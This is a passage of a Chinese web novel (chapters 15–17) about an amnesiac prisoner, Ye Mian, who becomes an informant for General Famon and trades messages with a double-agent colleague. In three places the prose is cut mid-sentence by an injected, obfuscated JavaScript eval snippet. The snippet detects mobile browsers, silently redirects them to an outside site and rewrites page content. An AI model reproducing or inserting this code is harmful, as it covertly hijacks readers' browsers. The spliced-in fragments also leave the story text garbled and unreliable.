“黑兔子,我要看到他的结局,另外,我需要终端,”叶眠抱怨,“本来去监狱区是为了找你,谁知道闹出些岔子。反正在离开监狱之前,我要了解反抗军的所有事情,你不能让一个白板直接上手情报工作。” 法蒙对于她一通教育和指责,出乎意料地没有反驳。 他眉头紧锁,仿佛心里进行什么天人交战,最终,他妥协了。 “你说得对,”法蒙稍微搓了一把脸,调整好表情,“是我考虑不周。” 有些反常。 叶眠谨慎观察着他的反应,但是她没想到,法蒙只是单纯听进去了。 作为德里克家族的嫡子、年轻的天才中将,似乎很少有人会指着他的鼻子骂,指点他的行为、教育他的失职。 家族里的那些老东西们心里只有家族的兴亡,而叶沉说这些,更像是出于旁观者的视角,不带什么主观上的企图,只是就事论事地讨论一个结果、指出一个方向。 所以他认真地思考了,然后发现——一切正如她所说。 法蒙心中甚至涌起一丝温暖与赞赏:哪怕自己仍是囹圄中的罪犯,她也还是会为我着想,富有正义感、责任感和规则意识。 聪明、灵活,她很适合作为下属。 叶眠只觉得这人怪怪的,如果能听到他这些心理活动,她恐怕只会大笑出声。 很抽象的,竟然真有人内心戏多到自我攻略。 15. 第 15 章 法蒙态度的软化,叶眠是能感受到的。虽然不明白为什么,但她乐见其成。 法蒙没再藏着捂着:“作为线人的特殊终端,明天就能送到这里,里面会有你需要的资料。” “能联系到你吗?”叶眠刻意地仰脸问。 她眼睛眨了两下,面对着那点明晃晃的期盼之色,法蒙迟疑了。 那一瞬间里,他确实站在同意的边缘。 毕竟叶眠的无害摆在眼前,刚刚的对话又似乎展露了她的忠心,他生出点爱才之心,还有点说不清道不明的心软。 但最后还是惯常的理智占据了绝对上风,他说:“你会跟我的心腹下级交接。” 叶眠不意外,只是感觉有点可惜。她摸了摸自己脖子上的禁制环,这件东西会是她离开C监后的最大桎梏,通向自由的拦路虎。 她暗戳戳地想:看他这个严防紧守的态度,拉近关系太难,硬碰硬又太不自量力,恐怕一时半会儿还真是做不掉他。 但这个小动作落到法蒙眼里,却品出点别的意思。 那副稍显落寞的神情,戳中了铁石心肠的中将。他在这一秒内,再次感受到了一丝轻微的动摇。 法蒙语气和缓:“如果你做得好,过几年我可以取消你的禁制环,提拔你……” “算了,”叶眠毫无察觉,只觉得这人当领导忒不好伺候,她有话直说,“几年,太久了。” ——所以她会提前解决掉这个问题。 然而,在法蒙的视角里,谁会拒绝他的招揽?无非是她心口不一的抱怨。 他宽宏容让地想:刘仁花了十年才成为我的心腹,你嫌几年太久,可要加倍努力才行。 “黑兔子的处理这两天就能下来,到时候我会通知你,”法蒙起身,把外套搭在臂弯,“他会获得应得的惩罚。” 叶眠两个目的达成,心情也不错:“行,您慢走,我不送了哈。” 法蒙稍微皱眉,就这? 没有感谢也没有其他表示? 两人对视。 叶眠:男人心思好难猜。 但不得不说,她确实摸着点他的脾气了,索性直接开口问:“还有什么需要我做的吗?” 法蒙目光沉沉地看了她几秒,又像是突然清醒了一样,什么话都没说,转身就走。摔门的声音透出一点匆忙和狼狈,留叶眠一个人迷惑不解。 他怎么了? * 【叶眠术后第九天】 因为头上的铁架子,叶眠收到的命令是卧床三天整,连饭都是护士给她捎过来的。 “我不理解。拆完钢筋第二天我就能下床,但现在只是加固,我动都不能动。”叶眠抱怨说,勺子在咸甜的稀粥里搅来搅去,糜烂的圆形米粒在浑浊的液体中浮沉。 “生长因子跟普通外框架能一样吗?”护士看出她根本不饿,于是不客气地收走了饭碗,“何况其实之前你也应该卧床休息,是你自己乱跑的。” 叶眠长叹一声:“闲不住啊。” “你终端不是到了吗?”护士说。 “我的列表都不理我,”叶眠悲伤地说,“如果胖子也有终端就好了,他一定会秒回我的。” “拉米亚纳实心眼孩子。”护士评价。 叶眠的全新特制终端里,现在只有两个名字,一个是法蒙说的“心腹下属”,刘仁,另一个则被备注了“同事”。 刘仁似乎很忙,只有最开始说了两句,叶眠这才知道,这是另一个反抗军里的线人。 “你需要的资料问他就行,文件传输怕被有心人留下备份,所以你们的聊天记录要及时删掉。同为卧底,不要问对方身份。”刘仁放下这几句,人就消失了。出于对法蒙手下牛马亲信的尊重,叶眠转而开始骚扰这位素昧谋面的同事。 遇到困难睡大觉:“你好,请问你是gg还是mm?” 叶眠发完才察觉,这句话有点像古早网聊搭讪,但——发都发了。 她手速飞快,脑袋不能动,但不影响十指翻飞,甚至把键盘敲出残影。 遇到困难睡大觉:“以后咱们就是同事了,高危职业初来乍到,麻烦多多关照了哈。” 遇到困难睡大觉:“老师在哪个部门高就啊?咱们组织好混吗?反抗军伙食怎么样啊?” 遇到困难睡大觉:“听说反抗军指挥使是个花心大罗北,这事儿你有耳闻伐?” 遇到困难睡大觉:“老师你不回消息是遇到麻烦了吗?” 另一头的沈舒白刚办完“入职手续”,终端的震动让他差点挂不住礼貌的微笑。 陆风把墨镜拉到鼻尖,镜框上沿露出一双深棕色的眼睛。 他有些疑惑:“小沈,你谈恋爱了吗?怎么终端响这么频繁?” 沈舒白把通讯提示挂到静音,干笑:“哈哈怎么会,我这么多年你又不是不知道。” “真奇怪,”陆风摸了摸下巴上的胡茬,“你长得不丑,能力也不弱,怎么也称得上一句一表人才,怎么这么久也没谈个对象?” 沈舒白内心吐槽,自从决定放弃叶绵绵后,陆风好像突然觉醒了给人拉郎的爱好。 他语气无奈:“老大,你觉得反抗军编外医疗队任务很轻吗?法蒙不管人在哪,给我安排的事也一点没少,我说你们一个个的,谁还记得我没毕业啊?” 陆风笑:“能者多劳嘛。” 沈舒白一脸沧桑地摇头叹气,没说话。 ——老大,你不懂,打两份工,真的没时间TT 是的,沈舒白作为一个非典型双面间谍,几乎全部时间都被这两份工作和永远不轻快的学业占满了。 在陆风眼里,沈舒白是法蒙交了半个心的朋友。 在法蒙眼里,沈舒白是自己安插进反抗军的线人。 那,在沈舒白眼里? 其实最一开始,他只是想多加几个社团凑学分…… 事情就是这么巧,大学时期的沈舒白同时结识了革命党和反抗军的人,阴差阳错发展到今日,他走得坦坦荡荡又战战兢兢,已经说不清自己到底是站在哪边的了。 好不容易送别了陆风,沈舒白在基地宿舍床上一瘫,终于想起来自己终端上攒的那一堆消息。 他打开终端,眼尖地看到了最新一条消息。 “同事兄弟,咱们组织内部男女比例怎么样?美女帅哥多吗[色]” 沈舒白眯着眼睛,盯这句话半晌。 ——他在思考这位“遇到困难睡大觉”到底何许人也。 半分钟过去了,他“腾”地一下坐了起来。 ——这是法蒙安排的新线人,原话是“稍微带带她”。 联系到最近他们的讨论内容,所以对面是……叶绵绵?? 沈舒白神色肃然、如临大敌。他往上一直翻,一直到最前面的几条消息。 “同事……兄弟?”他喃喃地念出声。 放下终端,他双眼发空,但脑子却被各种念头塞满了。 叶绵绵? 记忆里那个懂事乖巧的形象浮现。 怎么可能? 叶绵绵名义上是陆风的私人秘书,但实际上并不贴身,甚至这两年里大多数时候都见不着两人同框。 沈舒白跟陆风混的关系不错,偶尔会撞到他们二人相处。那种难以言说的氛围,暧昧、熟稔、但又保持着一点距离感,沈舒白每次见每次想:古怪、忒古怪。 他一直没摸清陆叶二人之间具体是什么情况,直到两个月前的一个周一,他去找陆风说事。 沈舒白亲眼看到叶绵绵从陆风的办公室出来,嘴唇红肿、眼里含着水色,衣领被撕破、脖子上露出一些半遮半掩的红痕。 两人猝然对视,叶绵绵咬住下唇,满脸赧然之色,一跺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849741|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚,拽着衣服从他身边跑了过去。 沈舒白的专业素养第一时间给出了反馈:吸吮性瘀斑!咬痕!表皮剥脱! 脑子转太快,想清楚恨不得挖掉自己眼睛,他再迟钝也知道是怎么回事了。 但陆风不公开,他也只能装不知道,转头在心里吐槽过不知道多少次,但还是没跟别人说。 又过了两周,他收到了一个据说能保平安的挂坠,附信字体清秀,只写了两个字:“谢谢。” 沈舒白抓狂:叶女士!这么暧昧的东西能送吗!被陆风看到怎么解释啊! 从那以后,他再抱着答案看问题,叶绵绵那种缠绵的眼神、混着爱慕和敬仰的表情,还有无动于衷但又偶尔给出回应的陆风,一切都有了答案。 旁观者清,这是个痴心女子单恋指挥使上司的故事。 之后的这段时间里发生了一些意外,现在的沈舒白回忆起来,也不知道自己插手是对是错。 前脚叶绵绵用不知名手段杀了蒋仕临,后脚就进了审判庭,很快被抓进了法蒙的新地盘——C监。 陆风知情,但没有动用他的关系,表明了对这枚“弃子”的态度。 沈舒白正巧路过C监,抱着“来都来了”的想法,保了叶绵绵一条命。 钢筋入脑手术救命还不够,听护士说叶绵绵反杀同室“狱友”的事情之后,沈舒白想着救人救到底,为了让法蒙出手从二判死刑下留她一命,他主动暴露了叶绵绵的身份。 ——只有有用的人才能得到法蒙的另眼相待。 然后,现世报。 沈舒白重新拿起终端,不知道抱着哪种心情,发出了第一句话:“你好。” 然后又补了一句:“是gg。” 叶眠那边“扑哧”一下。 好正经的同事! 遇到困难睡大觉:“同事哥[敬礼],我是老大新安排的卧底,咱们到底是个什么组织?这能问吗?” 白干全白干:“老大没说吗?我们是革命党。” 革命党? 叶眠迷惑,问:“怎么听起来跟反抗军有点像?” 沈舒白坐直身体,没有第一时间回复。 革命党是常识啊?叶绵绵给他的感觉,不太对劲,或许应该给对方做个术后检查,确认一下大脑恢复情况? 白干全白干:“革命党是联盟议会的内部派系之一,但反抗军是反联盟的武装分子。” 叶眠茫然,但也从对面的沉默中读到了一点问题,干脆透底:“不瞒你说,我撞坏了脑袋,所以失去了一部分记忆。” 沈舒白倒抽一口冷气。 她可不是他这种技术型卧底,感情型卧底叠上失忆buff,这是地狱难度啊。 白干全白干:“革命党是议会近几年兴起的议会派系,旨在改换旧秩序,夺回公民权利、恢复真正的民主。” 叶眠挑眉:法蒙还是有点理想的。 遇到困难睡大觉:“那咱们跟顽固派的议会席位,能达到多少比例?” 好犀利的问题,沈舒白在心里默默叹气。 白干全白干:“1:5。我们这几年才开始发展,根基比较浅,顽固派官官相护、树大根深,正面对抗,我们弱势。” 遇到困难睡大觉:“那你觉得革命党和反抗军,一个文斗、一个武斗,哪个前途更好呢?[大笑]” 沈舒白手指停顿,心里提起了点警惕。 这个问题或许对其他人没什么威力,但对他这个双面间谍来说却是直击痛点。 白干全白干:“那当然是革命党[微笑]。” 白干全白干:“能避免战争的话,当然还是和平手段更好啦[微笑]。” 叶眠放下终端,看向病房的窗外。 连监狱都烂到狱警肆意处置囚徒的地步,联盟沉疴之深,真的是政斗换届能解决的吗? 16. 第 16 章 “原来如此。” 发完这句,对面的叶绵绵就不说话了,沈舒白有点忐忑地放下了终端。 说实话,他不太理解。 一个那么喜欢陆风的人突然态度180大转弯,说投敌就投敌,失忆完除了说陆风花心萝北之外,甚至不肯提他半个字。 自认算得上陆风半个朋友,沈舒白决定替他说句话。 白干全白干:“陆风其实人也还行,至少没有花心滥情。” 遇到困难睡大觉:“你说是就是吧。” 沈舒白:? 难道陆风真做了什么对不起叶绵绵的事? 白干全白干:“那个,其实我知道你的身份[呆]。除了你,我没看到他跟别的女性建立亲密关系。” 遇到困难睡大觉:“那你觉得他喜欢我吗?是喜欢我的肉|体还是喜欢我的灵魂?[疑问]” 沈舒白手再次僵在原地。 啊?问我吗? 我该知道吗? 遇到困难睡大觉:“我落难他甚至没有任何表示,呵,男人[生气]。” 沈舒白斟酌了一下。 白干全白干:“他好像给你递了信?” 叶眠想起那张被顺马桶送回大海的纸片,心里产生了一点疑问:“你怎么知道?” 沈舒白找补:“因为听到他说,过两天要去亲自接你。” 亲自接我?真的假的? 叶眠眯眼:还是不对。 遇到困难睡大觉:“前审判长是顽固派的人吧?” 白干全白干:“是。” 叶眠脑筋飞转:叶绵绵喜欢陆风,所以听从陆风命令,杀了蒋仕临,然后锒铛入狱,陆风轻飘飘一句两周后出来,但完全没有捞人的行为,全靠她跟法蒙拉扯自救…… 遇到困难睡大觉:“咦?我不是弃子吗?[大笑]” 沈舒白额头冒出点冷汗,心里为陆风点了一炷香。 事实上,就是这样。 陆风想让蒋仕临死,不惜一切代价,所以叶绵绵是用完就扔的工具,但是这能说的吗?他只能装傻。 白干全白干:“[疑惑]。” 叶眠心道,这位同事的态度也很古怪。明明是革命党的人,却跟法蒙对反抗军的态度不太一样,对陆风没什么抵触,甚至还会给他说好话。 她留了个心眼。 遇到困难睡大觉:“[微笑]。” 遇到困难睡大觉:“如果只是一封信就说明他怎么喜欢怎么爱,我还不如跟打字机恋爱。” 遇到困难睡大觉:“情海无涯我已上岸。反抗军权力架构和陆风个人喜好发我,该干活了,同事哥。” 沈舒白丈二摸不着头脑,不明白叶绵绵怎么突然这么洒脱了。 他怎么也没想到是里面换了个芯子,现在的叶眠心里没有半点男人和情爱,每天朝思暮想的对象是彻底自由。 白干全白干:“行,晚点。” 沈舒白关了跟叶眠的对话框,紧急联系陆风:“老陆老陆老陆。” 那边回:“急事?” 白干全白干:“也不是,你还记得叶绵绵吗?” 陆风:“……” 从这省略号的六个点里,沈舒白实在读不出陆风的想法。 他想了想,打了个实时通讯过去。 “人死万事空,她的事不必再提。”陆风说完就要挂,却被沈舒白抢声:“如果她没死还有救呢?!” 那边一时沉默,但好歹没挂电话。 “你喜欢她吗?”沈舒白大着胆子问。 陆风笑了一声:“怎么问这个?” “人类心理情绪研究,”沈舒白随口扯完又后悔,“算了,其实我就是好奇。” “应该是喜欢,”没想到陆风还真回答了,“想问我为什么不救她吗?因为有更重要的事要做。” 沈舒白琢磨着,喜欢那就好办了。 “我去C监找法蒙的时候,正好是她跟囚犯起冲突重伤的那天,所以我给她用了生长因子。” 陆风意味不明地“哼”了一声:“还挺大方。” “我知道她跟你的关系,”沈舒白搓着手指,琢磨着说,“你可能知道我知道?” 话有点绕,但陆风明白他的意思:“知道。” 你千万知道我们清清白白、我是正当理由啊。 沈舒白一边想一边说:“所以我才救她嘛。” “她杀的那个人叫刘勇,”陆风了解的显然更多一些,“联盟黑网上排名前百的杀手,接了蒋仕临儿子的委托去杀她。” 沈舒白一愣:“你全都知道?” 那头安静了一会儿。 “只是有关注。”陆风淡淡地说。 沈舒白很想问,你都做到这一步了,为什么不动用你的人把她捞出来算了? 陆风只说:“如果你不去,她会死在刘勇手里,结果你去了,她会死在蒋钰提起的二判里。她要怎么活?” 沈舒白心想:靠投奔典狱长活。 “如果她真能活着出来……算了。”陆风顿了顿,把后半句话藏了起来。 对方挂了通讯,沈舒白有点懊恼。 原来C监里的事情陆风也了解,所以完全没有表示出惊讶。叶绵绵入狱这件事明显有隐情,陆风瞒着他就算了,监狱里的叶女士明显更惨一点。 不过,叶绵绵的转变恐怕会在陆风意料之外了。 想到这,沈舒白莫名其妙又幸灾乐祸起来。 他有点期待两人见面的场景了。 * 那头叶眠睡了一觉起来,就看到了同事发来的大段文字。 她先看了反抗军的组织构成。 反抗军作为最大的反联盟组织,其根据地是一艘带跃迁、隐藏、攻防一体的星际母舰,补给一次可以支撑一年,因此流窜星际,一直没被联盟军抓到。 反抗军指挥使有三位,三人分工,轮流负责守家、游击、情报。比如陆风今年的职责是情报工作,他本人身份几十个,联通手下线人无数。 叶眠摸着下巴想:所以陆风应该是有能力救自己出去的。拿捏几个审判员的事情 薄情寡义的男人。 她接着往下看。 每部分职能下的层级分工都不相同,情报部门是完全是扁平化管理,除了陆风和他的副指挥使外没人能主动联系到具体线人,保证了安全,也把指挥使本人置于危险之中。 同事细心标注:目前已掌握其常用身份“陆风”,但成长轨迹真假还无法确定。目前两方对抗,革命党占优。 占优?所以边境三师被反抗军渗透的消息是假的了? 后面是陆风的个人喜好,同事同样标注:陆风善于伪装,以下仅供参考。 列了很多条,叶眠觉得总结下来只有这么几个词。 ——潇洒但心事重的事业批。 同事发了张“陆风”的全身照,叶眠点开一看,眉毛一挑。 如果这是陆风挑选的脸皮,那只能说他确实有点审美。 如果这是陆风本人的身材,那只能说他确实有好好锻炼。 有点期待见面了。 * 晚饭后,叶眠见到了一个意外的人。 烟花还是一身狱警工作装,她坐姿放松,看得出心情不错。 “法蒙查证了7001的所有违规行为,惩罚通报发给了所有C监狱警。里面说,黑兔子后天进审判庭,最后的判决会由审判员决定。” “他还有机会活下来吗?” “黑兔子只是个得势的普通人,哪里会有搭上审判庭的关系。能在C监狱兴风作浪,前靠当萨利狗腿,后靠法蒙只想着他的边境三师、没有心力好好管。” 法蒙的失职在于对自己中将身份的过度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852297|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看重、也在于对典狱长身份的隐隐抵触。叶眠随口说:“他这个典狱长当的真是不情不愿,这次能秉公处理,也是难得。” “确实。我本来以为他也会是对C监内部混乱视而不见的人,这么看,以后肃清规则也不是没有希望。” “希望C监能越来越好。” “本来也是个让人改过自新的地方。像刘勇那种人,不配有改正的机会。” 叶眠笑了笑:“如果不是256上来就要杀我,我不会滥杀。刘勇想给刘毅报仇,其实也可以理解。” “256跟你之前起过冲突,”烟花犹豫了一下,坦白说,“我知道这事,但没插手。那些狱卒在这荒郊野岭里也没什么娱乐,通信网络也不稳定,以折磨囚犯为乐是这里成型很久的风气。” “害,人在其位,”叶眠也没在意,“黑兔子正得势,你不插手才是对的。” “之后一段时间,那些人肯定会收敛一些。我会尝试重组正常的狱警班底,毕竟是自治监狱,这里的秩序需要领导和控制。” 叶眠肯定地说:“你肯定不会成为第二个黑兔子。” 烟花叹了一声:“人心易变,成你吉言。” “其实黑兔子以前有些地方做得也不错,比如,监狱内犯人其实分几个势力类似社团,你可能不知道,他一直制衡着那些人。上边的人不会管犯人聚堆拧绳、日常吃喝拉撒,但后勤要管,要规避一些暴乱的风险。抛开他人品不看,有些手段我还得慢慢学。”她说。 叶眠想起来自己引爆的那场混乱,有些恍然。 原来冲突之后还有黑兔子的手笔,怪不得三方实力相差不大给了她可乘之机,原来是蓄意控制。 “生死台跟着萨利下台消失,7001以后不会存在了。”烟花说着就准备离开,“我只是来跟你说一声,恶人有恶报,这样等你死刑执行的时候也不会留个心事了。” 她像只是来跟叶眠唠两句嗑一样,但叶眠懂了她这份“临终关怀”的心。 事以密成。 叶眠没跟任何人说自己会离开的事,此刻也只是坦然地点点头,目送她推门离开。 - 叶眠这几天过得几乎忘记了梦中大火的事情,但这一晚,火焰与高温不期而至。 在梦里睁开眼,叶眠的第一想法是骂爹。 被大火占领的建筑墙体颜色显然与上次做梦不同,空间也更加空旷——这里不是出生点一号。 太诡异了,就好像一片地图,她每次做梦都会随机刷新到一个位置。 叶眠按捺住烦躁的心情,又用上次的流程确认了一下——依然是30cm的安全圈。 好在身体上的疼痛没有带进梦境,只是灼热的感觉让人难以忍受。叶眠再次席地而坐,用异能一口气凝出最大体积的冰块,堆了一圈。 稍微舒适了一些,但冰块很快融化,她再次暴露在火焰中。 ……能不能让它化得慢一点? 比如,降低冰块温度? 叶眠闭眼,双手十指相交,专注地构想着更冷的冰体。 十秒后,她睁开眼,双手之间生成了一小块浅蓝色的冰。 蓝色幽幽,但还是透明的,说明温度没有低很多。 太凉了,叶眠自己都受不了,顺手往火里一扔,滋滋的化成水汽,漫起一小片烟雾。 叶眠看着那一小块冰用更慢的速度消失,脑子里有了个想法。 把异能冰块的温度变低,似乎比让它体积变大更简单。既然她做不到一下凝出一屋子的冰把火盖灭,那能不能只用更低温的冰把自己保护起来? 她稍微歇了口气,然后就站了起来。 浅蓝色的冰层浮现在衣服上,固定住了织物的褶皱。幽幽冷意如附骨之蛆,渗进皮肤,叶眠的后牙在微微打战。 她特意把脚底冰层加厚,然后下定决心,一步,踏了出去。 17. 第 17 章 这是炼狱!听到了吗?这是炼狱! 叶眠的感官在疯狂地报警,高温灼伤带来的痛意在挑战她的神经。 她大踏步走了七步,在摇晃的火焰中,看到一座燃烧中的空荡枪架。本该插在架子上的枪支不见踪影,而她身上的冰已经消融殆尽。 叶眠是痛觉超敏者。普通人觉得有点痛的伤口,对她来说就是“很痛”,当普通人觉得很痛时,对她来说已经是无可忍受的程度。 她感觉自己在痛得打哆嗦,牙关咬死,还是控制不住地“咔咔”作响。 那个隐约要被烧到底座的枪支架子出现在视野中的时候,叶眠感受到了一种致命的熟悉感。 她感受着心中滚烫的渴望和怀念——她曾见过这个枪架。 在遗失的记忆里,或许,她曾在这座燃烧的建筑里生活过。 前进! 眼睛被毒烟和火焰刺激到生理性泪水不断,衣服表面最后的潮湿被大火蒸尽,火舌舔上身体,像前仆后继的蛇群。 前进! 踩过的地板每一寸都在炙烤着脚底皮肤,发出焦糊的味道。 热度顺着脚底窜进小腿,叶眠感觉自己像是铁板上的鱿鱼,现在三分熟、再烤一会儿就该刷第二遍酱的程度。 前进! 叶眠艰涩地调动异能,凝出一副悬空的寒冰面具。精神意志在动摇,但动作却没有犹豫,她可以痛不欲生,但不能就此止步,按照她的处世原则,既然已经承受了这份折磨,就绝不允许无功而返! 眼中只剩那个枪架底座,差最后两米的时候,叶眠用最后的力气扑进升腾的明火,一手卡入底座与地面之间的缝隙。 她摸出了一张银色的铁片,上面是小刀的刻痕。 铁片边缘尖锐,划伤了手指,但叶眠已经无心关注那点伤口。 刻痕是有些稚嫩的笔迹,她吃力地在大火中睁开被熏到热泪盈眶的双眼—— “代号小队,猫头鹰。” “我们呼唤真正的民主与和平,誓要对抗一切暴力与不公。 以此信物,表我心迹,若得自由,不死不休。” …… 叶眠猛地睁眼,感觉刚刚自己又死了一次——被活活烧死的。 脑袋上的金属架子掉到一边,整个人四仰八叉地摔在地上,头有点晕,胳膊肘磕在地上,泛起一片淤青。 她保持着趴在地上的姿势,抬头看了眼窗外——天依然黑着。 叶眠慢吞吞地从地上爬起来,扶着床板,缓缓把自己挪回床上。 这次的梦看似漫长,实则短暂,暴露的信息让她忍不住有些心惊。 她确认了一些事情: 自己确实遗忘了一些过去,写着猫头鹰的铁片可能是与幼年的记忆有关。 拇指与食指相搓,叶眠回忆着那块铁片的手感。 太熟悉了,这种亲身经历的既视感,她几乎觉得那铁片是自己亲手放到枪架下面的了。 所以,这座被烈火焚烧的建筑到底代表了什么? 我的过去……与脑子里这片地图有什么关系? 叶眠带着疲惫睡去,第二天在护士的手底下醒来。 “你睡觉不老实我知道,但怎么能把固定架摔到地上去?”她满脸不可思议,“病床的护栏完全没有作用吗?” 叶眠睡眼惺忪地看了一眼她手里变形的铁架,短促地开口:“啊?” “我说,你昨晚上是不是做梦翻到地上去了,”护士一脸无语,“固定架从你头上掉了下去,摔出三四米远。” 叶眠挠头:“唉?好像是。” 她当时迷迷糊糊的,身上也没力气,能把自己躺回床上就已经很厉害了。 “算了,”护士摇头,“我算是看明白了,你这家伙不能用常理推断,人摔到地上头竟然没什么事,甚至恢复得不错。太离谱了。” 叶眠这下清醒了:“真的假的?” 她轻轻地摸了摸自己后脑勺,眼睛越瞪越大——硬了!她脑壳硬了! 护士从小车上拿下一支针管:“三级生长因子,最后一支了。” 叶眠眼睛一亮:“然后就完了?” “是啊,你大好了,”护士带着点笑意说,“千辛万苦,颅骨是长全了,一会儿我看看外皮伤口愈合情况。” “那我什么时候能长头发?”叶眠眨眼。 护士斜她一眼,威胁道:“头皮刀口长不好你就当秃子吧。” 经过一番详细的检查,护士最终如实说:“长得不错,后天拆纱布就行。” 叶眠哼着歌,去隔壁病房找胖子。 “告诉你个好消息,”叶眠坐到他床边,拍了拍把头蒙在被子里的人,“看,护士说我可以下床了,后天拆纱布。” 胖子掀开被子,他那只被打肿的眼睛还被包着,只能用一只眼睛看人:“咦?为什么你好这么快?我只有软组织挫伤,胳膊轻度骨裂,但医生不让我随便活动。” 叶眠想起之前两次,似乎每次梦到大火后她都的痊愈速度都会加快。这是个很诡异的事情,她一时不知道怎么跟胖子解释。 “我觉得,我可能是天选之人,”她深沉地说,“因为我有超能力。” 胖子翻了个白眼。 由于现在是个独眼龙,他这个动作显得有些滑稽:“我说姐,世道变了,人人都有超能力,你不要活在梦里。” 叶眠挠头:“噢,确实。” 胖子支棱这一下,很快又萎靡了,拉起被子就要再把头蒙起来。 “咋了?不乐意见我?”叶眠又把他挖出来。 “你的二判判决书马上就要到了,”胖子眼眶发红,“叶眠,你要死了。” 叶眠无言一瞬,看着他一副如丧考妣的神情,终于找回了一点良心。 “你且附耳过来,来。” 胖子往这凑了凑,配合地示意自己在听。 “不出意外的话,判决书不是死刑执行,而是脱罪。”叶眠说,“我替咱俩物色了一条大船。不对,两条。” 胖子傻愣愣地说:“啥船?” “革命党的船,和反抗军的星舰,怎样,喜欢吗?”叶眠坏心地问。 胖子的独眼越瞪越大:“什么意思?我怎么记得,这两家是打对头的?还有,什么叫替咱俩物色的?” 叶眠三言两语讲了讲自己的计划,最后补充:“等见到指挥使,记得帮我圆话。” 胖子的表情从震撼,到沉思,最后是视死如归。 “叶眠,你把我从7001捞出来,我心甘情愿跟你干,但当真吗?你要去反抗军当间谍?” “准确来说,是‘回’,”叶眠伸出一只手指点了点床单,“我本来就是反抗军的人。” “反抗军竟在我身边,”胖子喃喃说,“怪不得你之前那么奇怪……所以伊斯坦真投了你们?” 这属于叶眠的未知领域了。 她叹气说:“钢筋把我脑子插坏了,我不记得了。” “没事,很快就知道了,”胖子抬头望向房顶,表情空白,“我要见到反抗军指挥使了,妈妈。” “也不一定,”叶眠说,“我听到两个说法,一个是他会派人来接我们,另一个是他会亲自来。” “你是什么身份啊他亲自来接你?”胖子迷惑。 “……他的舔狗?”叶眠也不太确定。。 胖子转头,仔仔细细地扫过她的全身上下,然后又生无可恋地转了回去,继续盯天花板:“你当舔狗?我不信。一个小小的反抗军指挥,你能去舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852298|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他?” 叶眠来了兴致:“那我该舔谁?帝国皇帝?” 胖子一阵恶寒:“别诋毁我偶像,还有,你就不是当舔狗的料,别做这种假设了,瘆得慌。” 他想象不出现在的叶眠对哪个人求而不得,哪怕是帝国那位高高在上的皇帝,只要一想到叶眠跟在他身后满脸仰慕的表情,他就由衷地感觉幻灭。 “比起叶绵绵,我说真的,”胖子坚定地说,“叶眠真是太赞了,你千万别变回去。” 叶眠大悦:“很有眼光,朋友,非常好。” 她溜达回自己的病房,想了想,拿出终端给同事哥发消息。 遇到困难睡大觉:“同事兄弟,好消息,我脑壳大好了。” 对面过了一阵子才回复:“恭喜[黑眼圈]。” 遇到困难睡大觉:“咋了这是?” 沈舒白通宵看了一晚上的反抗军档案,满眼红血丝,一无所获。 面对着这个性情大变的叶绵绵,沈舒白有点警惕。但一想到禁制环的控制权还在法蒙手里,他又觉得叶眠反手把法蒙卖给陆风的可能性也不大。 白干全白干:“法蒙让我查点东西。” 叶眠若有所思。她想起了对于“法蒙不愿就任典狱长”这件事的猜测。 遇到困难睡大觉:“法蒙有什么家族背景吗?” 白干全白干:“没有吧,完全没听说过。” 竟然没有吗? 叶眠猜错了也没气馁,只是暗暗吃惊,法蒙得经营到什么程度才能坐上C监典狱长这个位置? 她决定再试探一下。 遇到困难睡大觉:“你跟他很熟吗?” 沈舒白再次警觉。 白干全白干:“一般熟吧,怎么了?” 遇到困难睡大觉:“那会不会,他其实有身份,但你不知道[捂嘴]?” 沈舒白起手就想反驳。 医大和军大就是隔壁,从大学到现在,法蒙从他的学长到普通军人,再一路晋升做到中将,这些年都是他看着走过来的。要是法蒙有家族背景,还用走得这么辛苦、边境一呆就是近十年吗? 但谨慎起见,他还是换了个角度思考。 如果他隐藏了家族背景…… 遇到困难睡大觉:“三十岁的中将,这个晋升速度,啧啧,同事兄弟,我说真的。” 她话说一半,但态度很明确。 沈舒白想替法蒙说两句,比如他的军功都是亲自搏出来的,自己跟着巡医队在边境呆过一年,法蒙受的伤、吃的苦都被看在眼里。 但是……中将这个位置,抛开法蒙的个人努力,真的没有外力介入吗? 法蒙从来没提过自己的背景,但联盟好像根本没有“法”这个姓氏? 遇到困难睡大觉:“你不说话了,你犹豫了。承认吧,同事兄弟,你也不确定[大笑]。” 沈舒白咬牙,飞快打字:“如果有家族背景,他为什么还会加入革命党?坐天享福不就好了?” 叶眠眯眼,嘴角勾起:这位同事兄弟,好像比她想得更沉不住气。 